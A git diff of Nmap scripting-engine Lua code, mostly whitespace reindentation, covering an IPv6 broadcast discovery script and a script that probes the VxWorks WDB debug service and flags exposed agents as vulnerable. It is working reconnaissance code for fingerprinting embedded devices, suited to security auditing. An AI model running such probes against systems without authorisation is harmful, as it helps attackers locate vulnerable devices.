- output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
- end
- return stdnse.format_output(true, output)
- end
+ for _, record in ipairs(results) do
+ tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+ if #results > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
end
action = function()
- local threads = {}
- local results = {}
- local condvar = nmap.condvar(results)
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
- for _, if_nfo in ipairs(get_interfaces()) do
- -- create a thread for each interface
- if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
- local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
- threads[co] = true
- end
- end
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+ end
- repeat
- for thread in pairs(threads) do
- if coroutine.status(thread) == "dead" then threads[thread] = nil end
- end
- if ( next(threads) ) then
- condvar "wait"
- end
- until next(threads) == nil
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
- return format_output(results)
+ return format_output(results)
end
diff --git a/scripts/wdb-version.nse b/scripts/wdb-version.nse
index e06b1eb2f..828a8b667 100644
--- a/scripts/wdb-version.nse
+++ b/scripts/wdb-version.nse
@@ -55,37 +55,37 @@ rpc.RPC_version["wdb"] = { min=1, max=1 }
local WDB_Procedure = {
["WDB_TARGET_PING"] = 0,
- ["WDB_TARGET_CONNECT"] = 1,
+ ["WDB_TARGET_CONNECT"] = 1,
["WDB_TARGET_DISCONNECT"] = 2,
["WDB_TARGET_MODE_SET"] = 3,
["WDB_TARGET_MODE_GET"] = 4,
}
local function checksum(data)
- local sum = 0
- local p = 0
- local _
- p, _ = bin.unpack(">I", data)
- while p < data:len() do
- local c
- p, c = bin.unpack(">S", data, p)
- sum = sum + c
- end
- sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
- return bit.bnot( sum )
+ local sum = 0
+ local p = 0
+ local _
+ p, _ = bin.unpack(">I", data)
+ while p < data:len() do
+ local c
+ p, c = bin.unpack(">S", data, p)
+ sum = sum + c
+ end
+ sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
+ return bit.bnot( sum )
end
local seqnum = 0
local function seqno()
- seqnum = seqnum + 1
- return seqnum
+ seqnum = seqnum + 1
+ return seqnum
end
local function request(comm, procedure, data)
- local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
- local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
- local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
- return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
+ local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
+ local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
+ local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
+ return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
end
local function stripnull(str)
@@ -97,139 +97,139 @@ local function stripnull(str)
end
local function decode_reply(data, pos)
- local wdberr, len
- local done = data:len()
- local info = {}
- local _
- pos, _ = rpc.Util.unmarshall_uint32(data, pos)
- pos, _ = rpc.Util.unmarshall_uint32(data, pos)
- pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
- info["error"] = bit.band(wdberr, 0xc0000000)
- if (info["error"] ~= 0x00000000 ) then
- stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
- return nil, info
- end
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len ~= 0) then
- pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (pos == done) then return pos, info end
- if (len ~= 0) then
- pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- info["rt_has_fpp"] = ( len ~= 0 )
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- info["rt_has_wp"] = ( len ~= 0 )
- pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len ~= 0) then
- pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len ~= 0) then
- pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- if (pos == done) then return pos, info end
- pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
- if (pos == done) then return pos, info end
- pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
- if (pos == done) then return pos, info end
- pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
- if (pos == done) then return pos, info end
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len ~= 0) then
- info["rt_regions"] = {}
- for i = 1, len do
- pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
- end
- end
- if (pos == done) then return pos, info end
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len == nil) then return pos, info end
- if (len ~= 0) then
- pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- if (pos == done) then return pos, info end
- pos, len = rpc.Util.unmarshall_uint32(data, pos)
- if (len ~= 0) then
- pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
- end
- return pos, info
+ local wdberr, len
+ local done = data:len()
+ local info = {}
+ local _
+ pos, _ = rpc.Util.unmarshall_uint32(data, pos)
+ pos, _ = rpc.Util.unmarshall_uint32(data, pos)
+ pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
+ info["error"] = bit.band(wdberr, 0xc0000000)
+ if (info["error"] ~= 0x00000000 ) then
+ stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
+ return nil, info
+ end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len ~= 0) then
+ pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (pos == done) then return pos, info end
+ if (len ~= 0) then
+ pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ info["rt_has_fpp"] = ( len ~= 0 )
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ info["rt_has_wp"] = ( len ~= 0 )
+ pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len ~= 0) then
+ pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len ~= 0) then
+ pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ if (pos == done) then return pos, info end
+ pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
+ if (pos == done) then return pos, info end
+ pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
+ if (pos == done) then return pos, info end
+ pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
+ if (pos == done) then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len ~= 0) then
+ info["rt_regions"] = {}
+ for i = 1, len do
+ pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
+ end
+ end
+ if (pos == done) then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len == nil) then return pos, info end
+ if (len ~= 0) then
+ pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ if (pos == done) then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if (len ~= 0) then
+ pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ return pos, info
end
action = function(host, port)
- local comm = rpc.Comm:new("wdb", 1)
- local status, err, data, pos, header
- local info = {}
- status, err = comm:Connect(host, port)
- if (not(status)) then
- return stdnse.format_output(false, err)
- end
- comm.socket:set_timeout(3000)
- local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
- if (not(comm:SendPacket(packet))) then
- return stdnse.format_output(false, "Failed to send request")
- end
+ local comm = rpc.Comm:new("wdb", 1)
+ local status, err, data, pos, header
+ local info = {}
+ status, err = comm:Connect(host, port)
+ if (not(status)) then
+ return stdnse.format_output(false, err)
+ end
+ comm.socket:set_timeout(3000)
+ local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
+ if (not(comm:SendPacket(packet))) then
+ return stdnse.format_output(false, "Failed to send request")
+ end
- status, data = comm:ReceivePacket()
- if (not(status)) then
- --return stdnse.format_output(false, "Failed to read data")
- return nil
- end
- nmap.set_port_state(host, port, "open")
+ status, data = comm:ReceivePacket()
+ if (not(status)) then
+ --return stdnse.format_output(false, "Failed to read data")
+ return nil
+ end
+ nmap.set_port_state(host, port, "open")
- pos = 0
- pos, header = comm:DecodeHeader(data, pos)
- if not header then
- return stdnse.format_output(false, "Failed to decode header")
- end
+ pos = 0
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return stdnse.format_output(false, "Failed to decode header")
+ end
- if ( pos == data:len() ) then
- return stdnse.format_output(false, "No WDB data in reply")
- end
+ if ( pos == data:len() ) then
+ return stdnse.format_output(false, "No WDB data in reply")
+ end
- pos, info = decode_reply(data, pos)
- if not pos then
- return stdnse.format_output(false, "WDB error: "..info.error)
- end
- port.version.name = "wdb"
- port.version.name_confidence = 10
- port.version.product = "Wind DeBug Agent"
- port.version.version = stripnull(info["agent_ver"])
- if (port.version.ostype ~= nil) then
- port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
- end
- nmap.set_port_version(host, port)
+ pos, info = decode_reply(data, pos)
+ if not pos then
+ return stdnse.format_output(false, "WDB error: "..info.error)
+ end
+ port.version.name = "wdb"
+ port.version.name_confidence = 10
+ port.version.product = "Wind DeBug Agent"
+ port.version.version = stripnull(info["agent_ver"])
+ if (port.version.ostype ~= nil) then
+ port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
+ end
+ nmap.set_port_version(host, port)
-- Clean up (some agents will continue to send data until we disconnect)
- packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
- if (not(comm:SendPacket(packet))) then
- return stdnse.format_output(false, "Failed to send request")
- end
+ packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
+ if (not(comm:SendPacket(packet))) then
+ return stdnse.format_output(false, "Failed to send request")
+ end
- local o = stdnse.output_table()
- table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
- if (info.agent_ver) then
- o["Agent version"] = stripnull(info.agent_ver)
- end
- --table.insert(o, "Agent MTU: " .. info.agent_mtu)
- if (info.rt_vers) then
- o["VxWorks version"] = stripnull(info.rt_vers)
- end
- -- rt_cpu_type is an enum type, but I don't have access to
- -- cputypes.h, where it is defined
- --table.insert(o, "CPU Type: " .. info.rt_cpu_type)
- if (info.rt_bsp_name) then
- o["Board Support Package"] = stripnull(info.rt_bsp_name)
- end
- if (info.rt_bootline) then
- o["Boot line"] = stripnull(info.rt_bootline)
- end
- return o
+ local o = stdnse.output_table()
+ table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
+ if (info.agent_ver) then
+ o["Agent version"] = stripnull(info.agent_ver)
+ end
+ --table.insert(o, "Agent MTU: " .. info.agent_mtu)
+ if (info.rt_vers) then
+ o["VxWorks version"] = stripnull(info.rt_vers)
+ end
+ -- rt_cpu_type is an enum type, but I don't have access to
+ -- cputypes.h, where it is defined
+ --table.insert(o, "CPU Type: " .. info.rt_cpu_type)
+ if (info.rt_bsp_name) then
+ o["Board Support Package"] = stripnull(info.rt_bsp_name)
+ end
+ if (info.rt_bootline) then
+ o["Boot line"] = stripnull(info.rt_bootline)
+ end
+ return o
end
|
|---|
|
|---|